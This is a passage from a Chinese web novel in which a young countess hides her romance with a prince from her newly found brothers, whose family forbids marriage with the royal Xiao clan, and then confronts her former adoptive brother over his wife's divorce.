提起这件烦恼了自己很久的问题,喻初晴蹙眉道:“成本高了,看病吃药的价钱也比较高,贫苦百姓根本负担不起医疗费用,每年都有人因为治不起病而死亡。” 她抿了抿唇,道:“若能从源头上节约开支,把药价降下来,省下来的成本势必能救更多人的命。” 喻慕文第一个指出问题所在:“晴晴,你若是把药价降下来,岂非坏了行规?你要被群起而攻之的!” “我何尝没想过?”喻初晴叹了一口气,道:“所以,我需要一个庞大的后台,另外,要师出有名!先前我虽然在帝京有一些人脉,但都不太好办。如今有太子殿下这条线,也只能说是做辅助,未必能长远。所以,我要多拉几条线!” 毕竟是赚钱之余还能行善积德,一家人对她的想法都是赞赏,尤其是喻昔词:“晴晴比我想象的,还要聪明!那么,你打算用什么名头来做这件事呢?” “至少要把成本降低下来,再开义诊吧。”喻初晴想很久了:“为了不拉同行仇恨,不降药价,多做一些利民的措施即可。” 她不是圣母,不可能血本无归地去救济他人。 不管是哪个时代的世道,民众疾苦都是存在且广泛存在的。 你救得了一个、百个,甚至万个。 但救得了全天下吗? 你救得了一时,救得了一世吗? 升米恩斗米仇,长时间为善,滋生了对方的负面能量,其实就是在作恶! 人最怕做两个件事:一件是做好事,另一件是做坏事。 做坏事自不必提,好事不能做,是因为——当你认为自己是在做好事的时候,就会忍不住想要别人的感激,性质就变了。别人不感激你,你就会心有埋怨,这就生出了郁结。 所以,行善是为了问心无愧,不是为了他人感恩! 她对桑家人的帮扶亦是如此,如果只是被赶走,并无多大怨恨。 只不过,她没想要他们的感恩,至少不能背刺她吧? 他们想要她死,那就怨不得她了! “行。”喻昔词很快便敲定了:“因为家族的原因,我不方便出面。回头让手底下人接洽,把药材的供应这方面给你定下来。” 喻初晴突然灵光一现:喻家是隐藏身份,却非要在光明村做穷人,兴许根本原因并非那些,说不定是—— 家族规矩? 老大经商,明明有做大做强的实力,却避开帝京,只做个小货郎; 老二武功惊人,却只是自己练武,从未想过投军、或者是参加武举,找官家的出路; 老三更是才子一个,但慈安寺都没传出他的名声,他也不想参加可靠。 而喻惊鸿却只是做个屠户。 家中的所有孩子都读书习字练武,却就是避开了帝京权势圈子,或者说,避开…… 朝廷? 再有,喻慕文提醒过她:喻家不跟萧家联姻! 以喻初晴站在巨人肩膀上的视野,在现代看了太多权谋类作品的大脑,忍不住脑补出来很多东西。 但,她先不问。 留着一点神秘感,等到认祖归宗自然就知晓了! 谈完了喻初晴的事,喻昔词又问老二老三的事:“你们俩确定要走这条路?” 孪生兄弟对视一眼,不约而同地道:“为晴晴保驾护航。” 气质迥异的双生子,难得这样整齐划一。 喻慕文补充说道:“若晴晴决定以后要继续留在帝京,虽然她的能力很强,但人的精力是有限的,智者千虑必有一失。众人拾柴火焰高,我们有为她撑伞的能力,为何不做万全之策呢?” 喻初晴有些感动:“哥哥们对我真好。” 她也算长袖善舞、八面玲珑,但帝京这种地方,风向瞬息万变。 早上还是晴天,说不准下午就狂风暴雨了。 没有血缘关系的人,倒不是说完全靠不住,但—— 总没有亲哥哥靠谱! “行。”喻昔词点头了:“家里肯定是希望晴晴能够回去,但你若实在想留在帝京,我们会替你说项。只要你坚持,祖父他们肯定都会同意的。” 倘使为了其他原因,老二老三入朝的话,那群老家伙可能要出山。 可是为了五代独女…… 没有什么原则是不能打破的! 哦不对! 有一件事,绝对不可以! 他看向喻初晴,郑重其事地道:“晴晴,你也十七岁了。可有婚嫁的打算?” 喻初晴一愣。 上次喻慕文说的,她还不是很放在心上,认为事在人为,没有打不破的陈规! 现在大哥也要说得这般认真,她不得不重视起来。 喻慕文替她回答:“晴晴视野广阔,不看眼前这点东西。男怕入错行、女怕嫁错郎。婚嫁若没选对人,晴晴还不如不婚!” 对这说法,喻尚武是重重点了三下头:“对!” 喻昔词仍旧认真严肃地说:“晴晴若选择未来留在帝京,难免会遇上一种可能。其他的事都无妨,唯独一件事不可破——咱们喻家、绝不与萧家通婚!” “……”喻初晴默了默。 疑似家主的人都这么说了,证明这件事真的非同小可! 那她已经跟姓萧的好上了,还好了一年多了,怎么破? 她斟酌着问:“我能问为什么吗?” “祖训、家规。”喻昔词五官本就硬朗,说这话的时候,特别有一家宗主的范儿。 喻初晴有点为难,毕竟她跟萧风岚是真有夫妻之实了。 “假若我非要跟萧家人在一块儿呢?”她试探性地问:“会被逐出家族吗?” 问题一出,所有人的目光立即聚焦在她脸上。 第61章 她有男人这件事,藏不住了! 喻今歌更是脱口而出:“你总不会无缘无故有这种假设,难道你真的看上皇家的人了?” 他是不知道什么祖训家规的,但…… 姓萧的他只接触过两人,一个是太子,一个是逍王,感觉都不是什么好东西! 总之,他姐天下第一好,他们身份再高,在他心里也是配不上他姐的! 面对六个人十二只眼睛齐刷刷地看着自己,喻初晴完全不敢说: 没错,看上了一只绿茶小狗! 那只小狗蛮好的,不但长得好、身材好,活儿也好,虽然偶尔像个怨妇,可日常情绪价值给满,舍不得丢掉他! 此时小狗还藏在屋里呢! 她挤出一丝微笑,道:“大哥之所以会专门拎这个事儿来说,肯定是担心我在帝京待的时间长,又跟皇家人打过交道,这种可能也并非不存在的,是吧?” 喻今歌狐疑地看着她,道:“姐,皇家人天生自傲,不适合你的。” “嗯!”喻初晴毫不犹豫地点头:“像南阳猴家的男人那种性格,确实受不了一点!” 自傲的人她的确不喜欢,受不了大男子主义,可萧风岚没有呀。 如果他们知道天潢贵胄出身的逍王殿下,在她面前只是一只怨妇绿茶小狗,脸皮都不要了的,不知会不会认知崩裂。 喻今歌还想说点什么,喻昔词突然道:“好了,晴晴以前不知道自己的身世,即便是现在也还不知晓。等我们回祖籍后,自然会明白为何咱家不与萧家联姻。” 喻慕文反而有些担忧地看向自己的妹妹,问:“晴晴,虽然三哥没回去过,但爹娘说过,家里也是住在城池里,并非在山林里。” 怕她心野,受不了太过清净的日子,就不想认祖归宗了。 他比较敏感,能第一时间想到这些。 经过这么一提醒,其他人也都恍然朝她看过来。 喻昔词问:“晴晴更愿意留在帝京生活吗?” “现在说这个问题,还太早。”喻初晴可以说“我一定会跟你们回家的”,但她不能说“我一定会留在族里”。 她认真说道:“一个我完全未知的世界,大哥让我去凭空比较更愿意在哪里,不也是强人所难嘛?” 大家也都明白了她的意思:她并非要绝对留在帝京,但也不会一直留在家族。 “的确如此。”喻昔词颔首,倒是先给她说了句:“但你是五代下来唯一的姑娘,仅凭这一点大家都会对你很好的。你可以放心。” “嗯。”喻初晴点头:“我知道了,期待着呢!” 从这一家子的态度,她就看出来了。 三纲五常的封建社会,一碗水端平的家庭都是相当少数,女儿珍贵的家庭更是十分罕见。 以前桑雪即便是家里的养女,享受的待遇也是别人家亲生女儿都得不到的。 她回来了后,一家子更是把她当成心肝一样看待。 一家几口又谈了一些别的事,便到了晚膳时间。 喻初晴没忘记房里还有她藏的“娇”,趁着去解手的时候吩咐:“木棉,去跟他说一声,让他一个人吃饭。” 顿了顿,又补了一句:“叫他别闹。” 木棉不由偷笑:“县主每每还要花心思哄着那位爷,别人家都是爷们哄着夫人,您这是反着来呀!” 喻初晴不以为意地道:“嗯,乖乖小狗,又不是宠不起!” 木棉笑着去了。 喻初晴转身去膳厅。 刚穿过庭院,就见身形高大威猛的喻昔词。 他站在怒放的石榴花树下,单手负在身后,看上去就很有威仪。 有一说一,太子都比不上他这样的不怒自威。 可见,在她面前他是尽量和蔼的了。 她还没有走过去,喻昔词已经听到脚步声、转过身来了:“晴晴。” “大哥怎么不在里头,跟爹娘他们说话?”喻初晴走了过去。 站在一米九的人面前,感觉自己实在是太矮小了,压迫感真的足足的。 关键是,还是个虎背熊腰的猛男。 老感觉他一拳头能打死一个她! 喻昔词垂眸看着她,没做什么铺垫,单刀直入地道:“晴晴是不是有相好的对象了?” 喻初晴:“……” 我去,我哥打直球! 她的迟疑让喻昔词肯定了自己的说法:“咱们家其实很开明,你若有喜欢的对象,想要谈婚论嫁可直接带出来让大家都见见。除了不能是本朝皇族萧家人,其他的只要你喜欢,贩夫走卒我们都能接受的。” 想了想,他又加了一句:“他们说,更希望你招个赘婿,大哥也觉得甚好。” 喻初晴尬笑,不答反问:“那我要是不想婚嫁,而是想找几个男宠养着玩儿呢?” 这话,让喻昔词有一瞬间的凝滞。 他不是不能接受,而是需要好一会儿才能消化,旋即颔首:“养得起,也不是不行!” 喻初晴讶然。 厉害了我的哥! 这也太超前了吧? 喻昔词便问:“所以,你是已经养着……男宠了?” 顿了顿,他又追问:“几个?” 她当然是否认了:“没有的事。” 没说谎,萧风岚不算男宠。 只能算相好的! “晴晴可以说实话。”喻昔词看着她,依然是直截了当地道:“方才我坐的位置,正好能看到你颈间的痕迹。” 喻初晴心口一惊,连忙低头看自己的领口。 但她这个角度,什么也看不到。 而且,出门的时候她照过镜子的,确保衣领外面没有萧风岚留下的“证据”! 她转头看向合欢,用眼神询问:有吗?你怎么不早说! 合欢发懵,摇头:没有呀!藏得好好的! “没事。”喻昔词见她紧张,也怕吓着她,说道:“除了我,其他人大概都没见着。也就是一瞬间的事,衣领又盖住了。” 喻初晴松了一口气。 但—— 她有男人这件事,藏不住了! 一时半会儿的,她竟不知道自己应当如何? 是直接说自己的确有男人? 还是想别的方法糊弄过去? 前者一旦说了,他们让她带来见见怎么办! 刚刚还说,必须不能姓萧! 短短的时间里,她脑子里过了十几种想法。 第62章 想要名分,想见光了 喻昔词尽量把声音放到最温和的频道:“晴晴,大哥相信你的能力。真喜欢,养着就养着了。但身为长兄,还是会担心你被人骗了。你长得好、身份也高贵,万一别人只是想占你便宜呢?” 喻初晴知道:不是没可能! 但凡她相好的对象不是萧风岚,而是身份比自己低的男人,像她这种人,很容易成为扶贫精英—— 南阳侯府的人都吸她的血了,谈个凤凰男吃她绝户,岂非很正常? 当然—— 吃绝户是先前的说法,如今她有亲人了。 只不过—— “大哥放心吧,我知道自己在做什么。” 她还是决定暂时把萧风岚藏着……他若是不姓萧,在这么开明的人面前,她就敢直接带出来跟他们认识。 可他就是皇家人啊,万一哥哥要棒打鸳鸯,怎么办? 第一,她不想为了刚认回来还不到两个月的家人,扔掉自己已经好了一年有余的对象。 第二,家人对她都很好,她很喜欢他们,也不想为了个男人跟家人闹掰。 既如此,不如先藏着边走边看,说不定什么时候顺其自然地就解决这个问题了? 她仰头看着喻昔词,笑道:“到了合适的时候,我会带出来与大家相见的。这件事希望大哥替我保密,暂时别让爹娘他们知晓。” 卖个乖,她甜甜地笑问:“好不好,大哥?” 喻昔词盯着她看了一会儿,同意了:“好。” 终究是刚认回来的妹妹,又是家中唯一的姑娘,怕惊到了她,他不能对她太严厉。 倘使是几个弟弟遇上这种事,他肯定会问清楚的。 宝贝妹妹玩几个男人,玩就玩了。 若是弟弟敢随便玩女人试试,打不断他的腿! “谢谢大哥。”喻初晴笑着道:“那……我们进去吧。” 喻昔词点了点头,但还是关切地问了句:“你确定知晓对方的底细?” “知道的。”喻初晴不想把这段感情公开,很大的原因就是这个。 封建时代不像现在,如她这般,只谈不婚、只做不爱的,很难被世俗所接受。 一旦她公开了,很可能就要谈婚论嫁。 她挺喜欢萧风岚的,但跟他绑定一生,目前的她还无法做到。 毕竟在现代,她从十一二岁开始,就被男人负心这种事伤害挺深的。 她的成长经历,让她无法相信男人的真心,也无法对男人付出真心,更无法跟男人托付终生。 三分喜欢,是她的底线! 而萧风岚,很懂这一点,只会在她的底线范围内闹腾,不会蹦跶过线。 喻昔词身为大哥,还是一家之主,肩负责任很重,不管什么事都希望能够管理得井井有条。 事关妹妹的终身大事,还是忍不住唠叨:“大哥可能管得有点多了,但你真不要被男人骗了。一个尚未成婚就与你……的男人,明显是不尊重你,不负责任的男人能是什么好东西!” 喻初晴:“!!!” 她总不能说:是我骗了他!是我拖着他上船的!是我不肯负责任!很大可能,始乱终弃的人,是我! 她艰难地道:“大哥,我真的知道自己在做什么。你跟我相处时间长一点,了解我的性子就晓得了。” 话到这里,喻昔词也就不好再多说什么了。 一家人用了晚膳后,少不得又要叙话。 喻初晴惦记着屋里的小狗,有点心不在焉。 萧风岚专门大老远跑回来,只为了见她,还是她要他留下明天再走的,结果她把他扔在那里不管。 一会儿,指不定要怎么闹呢! “晴晴?” 白婉蓉的声音让她回过神来。 她茫然地问:“啊?刚才说什么了?” 白婉蓉温柔地道:“我看你精神不太好,是不是有点困了?有什么话可以明日再说,你先回房歇息去吧。” “哦。”喻初晴转头问:“合欢,什么时辰了?” 合欢应答:“临近亥时了。” 她便打了个呵欠,道:“的确是有点困了。” 这倒不是骗人的,昨天睡得少,下午补眠到一半,又因为大哥回来的事起来了。 “好,那就都歇吧。” 众人便散了。 喻初晴吩咐管家:“给大公子的院子,应该都收拾好了吧?” 管家答道:“搬进来的时候就收拾了,不过我等不知大公子的喜好,如今大公子回来了,看看还有什么需要添置的,都给补上!” “甚好。”她转头看向喻昔词:“大哥,你有什么需要的,尽管跟他们说就好。现在家里的中馈是娘在管,有什么需要支出的,跟娘说。” 喻昔词没拒绝:“好。” 她便回了主院。 当然,此时的她还不知晓: 因为中馈全权交给了白婉蓉,她完全当甩手掌柜。喻昔词回来后,账面上多了一笔惊人的财产,她一点儿也不知情! 回到寝房,果不其然得来了萧风岚幽怨的眼神。 “哟,县主大人舍得回来了?” “您还记得我呢?” “你怎么不离开的时候给我滴一点树脂呢,好等你回来的时候,就可以捡一大块琥珀了!” 阴阳怪气的。 “……”喻初晴默了一瞬,提着一只青花酒壶递给他:“喏,没能一块儿吃饭,一起喝杯酒,总可以吧?” 一个小小的举动,就把他给哄好了。 萧风岚接过酒壶,自己挤兑自己:“啧,我太没出息了!” 喻初晴没忍住失笑,上前抱住他的腰,软软地往他身上靠,哄道:“这样很可爱,哪里没出息了?” 她凑上去,亲了一口。 “喻初晴。”萧风岚笑了。 单手搂着她,另一只手拎着酒壶,走到圆桌旁坐下。 酒壶放在桌上,把她安顿坐下,自己则是坐在一旁,拿酒杯出来斟酒。 她应:“嗯?” 萧风岚倒了一杯酒放在鼻尖闻了下,道:“是桃花酒呀,真香。” “你想说什么,直说!”喻初晴没打算跟他兜圈子。 很多时候,他们俩真的像是拿反了男女剧本的。 她理性,有时比男人还要狠;而他则是黏黏糊糊的,感情上很敏感,相对比较感性。 萧风岚斜睨了她一眼,把酒杯送她嘴边,道:“我认为,我老这么藏着,不是个事儿。你觉得呢?” 想要名分,想见光了。 喻初晴挑眉,一票否决:“不行!” “为何!”萧风岚急了,嘴巴便开始叭叭叭:“从前是因为南阳侯府那群野猴子,你让我藏着。现在呢!你总不能打算就这么下去,什么时候腻了就把我扔了吧?你想玩弄我的感情到什么时候!” 第63章 众生皆草木,唯你是青山 喻初晴不跟他讨论感情的问题,而是抬手撩开衣领,直接告诉他:“你咬在这儿,给我大哥看见了!” 萧风岚一愣,眼眸顿时亮出希冀之光:“然后呢?你大哥是不是让你赶紧给我名分?” 喻初晴一盆冷水兜头浇下去:“我大哥说,我找的这个男人,大概率不是什么好人!如果我想玩男人,可以多玩几个,没必要一棵树上吊死!” 萧风岚眼里的光,瞬间没了。 他噘嘴,不高兴了,也不说话了。 哼,生气气! 唧,伤心心! 可可爱爱的模样,让喻初晴差点没绷住。 她清了清嗓子,又道:“我大哥三申五令,说我们喻家的家规祖训,不可与皇朝萧姓通婚。” 把那酒杯拿在手里,她一口喝了下去,问:“你确定要现在暴露身份,就不怕我二哥抡着大锤把你拍出去?” 萧风岚愣住,不解地问:“为什么?” “我也不知道为什么。”喻初晴把空杯子放下,道:“估摸是好几代之前的事了,不然不会被奉为圭臬。这件事三哥提醒过我,大哥又明言禁止。” 她歪头看着他,道:“我敢保证,你一曝光,哥几个一人一个拳头就能把你锤扁。届时,我俩想维持现在这样,都很难了!” 有一说一,此时此刻的她,看起来像是哄骗纯情少女的渣男! 萧风岚整个人都不好了! “凭什么!”他狠狠磨牙:“祖上的锅,我还得背呗?甚至,背得不明不白的?” 见他一秒变悲伤小狗,喻初晴伸手握住他的手,安抚道:“暂时先这样。我刚认亲,他们都很好,我想珍惜他们,因此有些事不好硬刚。说不定时间长了,问题自然迎刃而解。” 好吧,更像渣男了。 画大饼即视感! 萧风岚不甘心,问:“解决不了呢?” 喻初晴脱口而出:“世上没有解决不了的问题, 只有解决不了问题的人!” 萧风岚窒住:“……” 好强大的自信。 但,他好爱! 喻初晴又道:“你别想那么多,等到必要的时候,我坚持的事,即便是什么祖训压头顶,都不会变!” 重点是:必要的时候。 她认为有必要为萧风岚跟亲人抗争的时候! 嗯,事实证明,她24K纯渣! 然,萧风岚却像那容易被男人欺骗的恋爱脑女人,完全没抓到这个重点,只觉得她这个敢于抗争的态度,让他好生心动! “晴晴。”他凑过来将她抱进怀里,道:“你哥哥弟弟都好可怕,一定要保护好我呀!” 茶香四溢。 喻初晴唇角一抽:“……” 得,又来了! 装柔弱,当真是他的拿手好戏! 但,她又不是惯不起。 她笑了笑,应答:“看你表现。” 萧风岚那副怨妇样子,都是为了在她面前邀宠,实际上也是心大。 既然她给了这样的承诺,他也就不抓住这一点伤春悲秋,而是转移了更重要的话题:“南阳侯那边的事,你后面打算如何?” 喻初晴面色一凛:“下一个,是桑怀民吧!” 萧风岚挑眉:“因为他跟连氏和离的事,势必要出问题,正好可以拿捏?” “聪明。”喻初晴给了他赞赏的一眼。 想了想,又凑上去亲了他一下,道:“该赏!” 萧风岚顿时笑得超不值钱,回亲了她一下,眼里都是绿光:“我能多要一些吗?这么点赏赐不够!” 绿茶小狗能有什么坏心思呢? 不过想多亲亲、抱抱、举高高罢了! 对上她的眼眸,他理直气壮地道:“我黎明时分就走,这一去少不得又是十天半个月的,你不把我喂饱,是真不怕我跑了?” 喻初晴瞟了他一眼:“简单啊,你纳两房小妾搞定。再不济,养两个通房丫头,一次吃撑!” 话是这么说,但她那眼神,完全是两回事。 眼风几乎能化为实质,碰一下就能拉一道口子! 萧风岚轻笑一声:“我要真这么做了,你是不是就立刻跟我一刀两断?” 喻初晴没回答。 不用回答。 即便早就知晓南阳侯府的人自私自利,都在吸她的血,她也觉得无所谓。 手指缝里漏一点出来,就能养活他们了。 但南阳侯府众人一把她赶走,触及她的底线,她就立刻把全府给踹了。 他们谋害她,她便要反杀、将整个南阳侯府都踢翻! 同理可证: 她的男人,要是敢背叛她,她会做出什么事来,还用问? “啧,晴晴你这样子,我好害怕!” 萧风岚作了一句,自己又笑了,道:“我不要别人,只要你。” 顿了顿,他又感慨地道:“你是不是对我下了什么迷魂汤,让我整颗心都拴在你身上,欲罢不能!看别的姑娘,一点儿感觉都没有。” 听这种肉麻的情话,喻初晴心中一点涟漪都没有,只是亲了亲他的唇。 萧风岚却激动了,抱着她的脸重重亲了下,道:“我见众生皆草木,唯独见你是青山。” 喻初晴挑眉。 她知道下一句: 愿有岁月可回首,且以深情共白头。 但她不懂,萧风岚是真的爱她吗? 他又爱她什么呢? 一夜迷乱后,喻初晴累得闭眼就睡着,萧风岚什么时候走的,她完全不知道。 睡到辰时过去才起来,发现外面下雨了。 合欢给她梳头时,她忽然说了句:“雨天道路泥泞,希望他别赶路太急,躲躲雨再走。” “县主担心王爷?”合欢随口一问。 喻初晴愣住。 担心么? 她并不是一个喜欢纠结的人,认真思考片刻,道:“嗯,确实有点担心他。” 毕竟他领旨在外,没办完差事是不能中途离开的。 五百里路,来回就是一千里。 快马加鞭、风尘仆仆,只为回来与她见一面,只待那两个时辰。 这比现代人异地恋打飞滴要辛苦折腾得多! 或许,他真是把她放在心上,真的很爱她吧? 合欢笑道:“王爷若知晓,指不定怎么高兴呢。不过县主,假如喻家这边一定要反对,以后你和王爷怎么办?” 关于这个问题,喻初晴连思考都不用,直接道:“若我想跟他在一起,天崩地裂我也会跟他在一起。如果我不想,天皇老子也没法按我的头跟他成亲!” 合欢轻笑:“嗯,主子想的,才是最重要的。老爷和公子他们……我觉得吧,只要你坚持,他们最后肯定会顺着你的。” “哦?”喻初晴挑眉,笑问:“何以见得?” 合欢道:“五代才盼来了一个姑娘,那不是要天上的月亮,都要想办法摘给你么?实在登不了天,拿个水盆照给你,都要做到呀!” 喻初晴被她这说法逗得噗呲一笑。 其实吧,她略微思考过各种可能,但就没认真担心过这种问题。 世上无难事,只怕有心人! 梳妆打扮完毕,喻初晴简单吃了点东西,钱利来也到了。 “药材的供给方面,以后跟我大哥合作。你派人去跟我大哥的人接触……” 谈了约摸半个时辰,把近段时间的生意上的事敲定,钱利来离去。 喻初晴正打算去跟喻昔词谈谈,却听得覆雨来报:“县主!南阳侯大少夫人差人过来,恳请你过去连府!据说是,大公子闹着非要把她带回侯府去!” 第64章 天若不报,我就来管! 桑怀民和连玉的和离,已经“谈”了好多天了。 太子下令让两家和谈,但南阳侯躺床养伤那么久,侯夫人又惯是个没主意的,后面还发生了桑怀志断腿的事。 双方根本就没有坐下来真正谈过,只有连家人在找桑怀民本人谈。也是桑怀民不愿意和离,一而再地上连家找连玉。 这不,拖到了现在。 “终于来求助我了。”喻初晴等的就是这个关卡。 如果连家不提出求援,她私自去插手别人的婚约,这是干预他人的因果,对自己不好。 她不占理,也不道德。 而现在,受害人自己出来求助了,她当即道:“走,我们过去看看。” 她抬头看向喻昔词:“大哥……” 刚想说“你等我回来我们再谈”,却见喻昔词说道:“我与你同去。” “啊?”喻初晴愣了下。 喻昔词笑道:“虽然大哥知晓你身边有人保护,但,我这才刚回来,你也给大哥一个表现的机会?” “……”喻初晴垂首失笑,道:“大哥高大威猛,都不用动手,就很有安全感了!” 前提是,他是站自己这边的。 这样一名猛男硬汉,放在谁的敌对面,都是要人头疼的! “我们走吧。”她欣然同意。 先前没相处过,总是要处一处培养兄妹感情的。 喻昔词颔首:“放心,没有必要我不会插手别人的事。” 喻初晴笑了:“大哥不用这么拘谨,我也没那么不近人情吧?” 兄妹俩乘坐马车,一路说笑。 到连府的时候,正厅里正是一团乱,没人注意到他们人就站在厅门外。 甚至管家报有客到,都没人听见。 大老远就听到了桑怀民的怒斥:“太子都只敢说同意我们和离,却没说我们必须和离!” 这话倒是不错。 别说太子身为储君,就是皇帝本人,强行拆臣下的婚配,都是会失人心的。 萧景明之所以没有直接下令让他们直接和离,是为了储君声誉考量。 但,这也成了桑怀民的底气! 只要他不想和离,难道太子就能强行拆散臣子的夫妻吗? 要脸的人,总是没有不要脸的人过得潇洒肆意的。 连玉坐在一旁没说话,气得胸口起伏不止,眼里都是泪。 她大哥连升怒气上头脸都气红了,斥道:“那是太子殿下仁厚,不是你不要脸的资本,你以为殿下不想同意吗!就你这种渣滓,就算和离不成,我们连家养着妹妹后半辈子,也绝不会让她跟你回去,任你欺凌!” 桑怀民的岳父连浒,也是脸红脖子粗的,想必是被桑怀民的无耻气到了。 但他身为带兵的将领,相对而言,还算是情绪稳定:“怀民,好聚好散,日后好相见。若你非要执着不肯和离,我们只好请太子做主。闹起来,南阳侯府也不好看!” 喻初晴面无表情地看着。 连家真的不错。 封建时代的眼泪。 别说古代,就是现代女人离婚,很多父母兄弟都是不赞同的,表面上各种苦口婆心“为你好”的劝说词,其实核心问题、本质原因,只有一个—— 嫁出去的女儿泼出去的水,离了婚回娘家,岂非成家里的拖累、还让人看笑话! 在很多家庭里,女儿的幸福,还比不上面子重要。 更讽刺的是:就是这样不为女儿撑腰的娘家,才导致女人在婆家孤军奋战,在夫家受尽欺负! 她现代的妈妈,便是吃了这种眼泪拌饭、最后付出生命为代价的人! 连家爱护女儿的态度,让她内心触动不已。 值得她为他们做主—— 天理昭昭,报应不爽;天若不报,我就来管! 然而,桑怀民却认为,堂堂的储君是不可能豁出影响自己身份地位、去帮一个臣子和离的。 他拿准了这点,哼了一声,道:“我是不会签和离书的!玉娘一日是我桑家儿媳,就一辈子都是。她生是我桑家的人,死是我桑家的鬼!只要我一日不和离,就还是你们家的女婿,就有资格把她接回侯府!遑论,恩儿是我桑家的骨肉!” 喻昔词在外面听着,实在是有点听不下去了。 他蹙了蹙眉,低头看自家妹妹。 然后发现,他妹妹的情绪真的稳定得可怕。 所谓泰山压顶不形于色,莫过如此! 即便见到桑怀民这般无耻,她也只是看着。 只是那一双眼眸如同十里冰封一般,代表她并非无动于衷。 桑怀民丢下那番话,便上前,伸手去拖连玉的胳膊:“你跟我回去!把儿子抱出来,我桑家的子孙,怎么可能留在连家?” 连升连忙拦在他面前:“我妹妹不愿意走,你敢强行带走她试试!” “我怎么不敢?我……” 桑怀民还想说什么,却不想—— 身后传来幽幽一句:“桑家的子孙不能留在连家,那留你一条胳膊在连家,行不?” 他猛地转头。 入目的喻初晴,穿着一身暗红色金线刺绣的襦裙,头上金步摇的流苏跟着她迈步进来的动作,一步一摆。 她漠然说道:“再不放开那只手,我不介意让它永远留在连府!” “初晴?”桑怀民愣了下,根本没把她放在眼里,道:“你来得正好,帮大哥把你长嫂劝回去!” 他好似忘了,如今喻初晴跟他已经是敌对的关系。 不要脸皮的无耻之徒,总是以自我为中心,以为地球是围绕着他转的。 甚至别人的态度是好是坏,他都完全置之不理。 但他的话,还没让喻初晴有什么反应,喻昔词却听不了一点:“抱歉,喻某尚未婚配,我家妹子还没有长嫂可唤。” 桑怀民不是眼神不好注意不到喻昔词,而是眼里只有自己,第一眼并不把喻昔词当一回事,还当是喻初晴找了个近身侍卫? 听到这话,才定睛看去。 只见她身侧跟着一名超级高大威猛的青年男子,穿着一身孔雀蓝的宽袍大袖。 若这身打扮放在喻慕文的身上,端的是书生意气、儒雅风流。 在此虎背熊腰的男人身上,却无形中有一种压迫感! 即便桑怀民常年在屯营,军中也很少见长得这么高的男子,看眉眼跟喻初晴有那么点相似。 甚至有种错觉:这男人多多少少有点隐形的尊贵? 他厉声质问:“你是何人,为何多管闲事!” 喻昔词勾唇浅笑,那笑意却仿佛蕴藏着千军万马、杀伐屠戮之气! “不才在下喻昔词,正是初晴的大哥!” 连家众人愣愣地看着这一幕。 见到喻初晴,他们先是看到了救星。 但见桑怀民与喻昔词的眼神交战,一时之间竟觉得不好上前行礼,打断这强烈的对峙感—— 大哥VS大哥! 第65章 大哥VS大哥! 货比货得扔,人比人气死人! 喻初晴的亲生大哥,整个人充斥着强烈的男子气概。 虎背熊腰、却面容俊朗,羽扇纶巾、却气宇磅礴。 此人仅仅是往那一站,羽扇在手中轻轻摇两下,便有种樯橹灰飞烟灭的气势。 而桑怀民呢? 十几岁进了屯营,武将出身的他,身形体魄也是几兄弟之中最威武的一个。 正因如此,他一巴掌就能把身子瘦弱的连玉扇飞! 他甚至比大舅子连升还要高一些、壮实一些,完全符合喻初晴对“四肢发达、头脑简单”的所有想象。 但,在喻昔词面前,就完全不够看了。 并且,喻昔词一看就不是纯孔武有力的武夫! 即便是桑怀民,心里都有一瞬间的发怵感受,他强行振作,看向喻初晴:“他就是你在喻家的大哥?” “不。”喻初晴面无表情地订正他的说法:“我姓喻,正确的说法是,我只有一个大哥、而不是在喻家的大哥!” 桑怀民顿时像是被针刺了一样,怒道:“你在南阳侯府唤我大哥的时候,不是挺殷勤的么!忘恩负义、自私自利。以前你还在侯府的时候,我就知道你不是什么好东西!” 被刺的,不是他的心,而是他的自尊。 他连连怒骂:“要不是你非要让我跟连家结亲,根本不会弄到现在这个样子!那时候建安公主都快要被我打动了,都是你非要斩断我和公主的姻缘、断了我做驸马的机会!” 提到这个,连家人脸色更难看了。 “桑怀民,你做什么春秋大梦呢!”连升哼道:“建安公主会看得上你?当初若不是看在你妹妹的份上,我们连家这样的门第,都不稀罕把女儿嫁给你!” 桑怀民简直要跳起来:“呵,你们还看不上我?要不是初晴一定要我娶你妹妹,我绝对不会多看她一眼!” 连浒顺势便道:“既如此看不上我家闺女,桑大公子痛快签下和离书,岂非皆大欢喜?” “笑话!”桑怀民哼道:“我侯府下了那么多聘礼娶了她,如今桑家的嫡长孙,你们也不肯给,就想和离?” 他仰着下巴,高傲地道:“把孩子还给侯府,我兴许还可以考虑一下!” 听到这话,连玉忍不住了:“你平日不是在屯营、就是跟狐朋狗友在外面鬼混,没带过几日儿子、对宝儿就没有几分父子情分,你根本是想用宝儿来要挟我,并非真心想要儿子!” 她说对了。 喻初晴也是这么认为的。 毕竟宝儿都已经两岁多了,从前不曾见桑怀民对孩子有多亲近! 她这个曾经的大哥,是个嫉妒自私自利的人,除了对自己好,对谁都是一样。 对父母,他都不见得好! 桑怀民反驳道:“无论如何,他也是我的儿子,你想带着我的儿子回娘家?以后还带着我的儿子二嫁?绝无可能!” “我……”连玉想说“我可以绞去头发当姑子、绝不会二嫁”。 喻初晴在此时突然大声插话:“没什么不可能!” 连玉一怔,茫然地看向她。 喻初晴走上前去,抬眸斜视桑怀民,嘲讽地道:“头婚嫁坏了,不代表二婚还会遇上个渣。连玉人很好,凭什么不能重获新生,一辈子只能挂在你这棵歪脖子树上?这世上不是所有男人都像你这样瞎眼、自私到极致的!” 连家众人都愣住了。 这一个还没和离成功,哪里就会去想二婚的事了? “初晴!”桑怀民火气也上来了:“你到底是帮谁的,我才是你哥!” “不。”喻昔词根本不让喻初晴来说这话,直接道:“我才是她哥!” 他唇角挤出一丝微笑:“不仅是在下,她另外还有两个哥哥。为兄者,疼爱妹妹、照顾妹妹、保护妹妹,譬如眼前这位连家兄弟,在自己的妹妹遇上你这种人渣的时候,他不遗余力拼死相护。你做得到吗,你就舔着脸抢着当晴晴的哥?” 一番话说得桑怀民面红耳赤。 他从来没有反省过这个问题,但眼前—— 连升是怎么维护自己妹妹的,他还是看见了的! 他…… 似乎从来没有过维护初晴的时候! 喻昔词又道:“在你们全家找到了亲生女儿,想把晴晴赶走的时候,你为晴晴说过话么?非但没有,你还是主张让她不准带走侯府分毫的那个!” “南阳侯派出人手追杀晴晴的时候,你阻止过吗?非但没有,想必你还双手双脚赞成。” “晴晴得了县主封赏,御赐匾额,挂匾大喜之时,你跟随你父亲,前去搞破坏,非要给晴晴找晦气。” “桑怀民,如此种种、历历在目,你也配说……你是她哥???” “脸是个好东西,你值得拥有!” 